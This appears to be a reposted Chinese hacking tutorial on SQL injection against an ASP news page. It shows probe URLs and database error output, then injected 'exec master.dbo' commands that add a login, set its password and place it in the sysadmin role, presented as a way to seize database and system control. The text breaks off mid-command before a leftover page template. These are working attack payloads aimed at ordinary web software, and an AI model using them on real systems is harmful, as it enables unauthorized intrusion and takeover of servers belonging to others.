SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

  • 来源: 互联网 作者: 若水   1970-01-01/08:00
  • 作者:覆灭之魔 文章来源:影子鹰安全网络

    刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。

    在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49

    我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49'

    Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
    [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
    在查询表达式 'ID=49'' 中。
    /new.asp,行36

    (2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
    (正常返回页面)

    (3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
    Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
    BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
    /new.asp,行42

    注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
    Http://www.xxx.com/new/new.asp?id=49 and user>0
    Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
    将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误
    /new.asp,行42
    注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

    获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

    (1) Http://www.xxx.com/new/new.asp?id=49;exec
    aster.dbo.sp_addlogin fmzm;--
    添加SQL用户

    (2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
    设置SQL帐号FMZM 的密码为 FMZM

    (3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

    提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
    ;exec master.dbo.sp_a


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多